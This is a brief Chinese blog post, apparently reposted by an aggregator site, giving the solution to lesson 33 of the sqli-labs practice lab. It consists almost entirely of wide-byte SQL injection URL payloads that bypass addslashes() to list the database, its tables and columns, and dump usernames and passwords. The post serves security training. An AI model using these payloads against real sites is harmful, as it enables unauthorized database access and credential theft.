Less（33）GET-Bypass AddSlasher()
Posted meng-yu37
tags:
篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了Less（33）GET-Bypass AddSlasher()相关的知识，希望对你有一定的参考价值。
1.和上一题一样的，payload都不用改
2.爆破
（1）爆库：?id=-1%E6‘ union select 1,2,database() --+
（2）爆表：?id=-1%E6‘ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479 --+
（3）爆列名：?id=-1%E6‘ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273--+
（4）爆值：?id=-1%E6‘ union select 1,group_concat(username,0x7e,password),3 from security.users --+
以上是关于Less（33）GET-Bypass AddSlasher()的主要内容，如果未能解决你的问题，请参考以下文章
sqli-labs less33 GET- Bypass AddSlashes (GET型绕过addslashes() 函数的宽字节注入)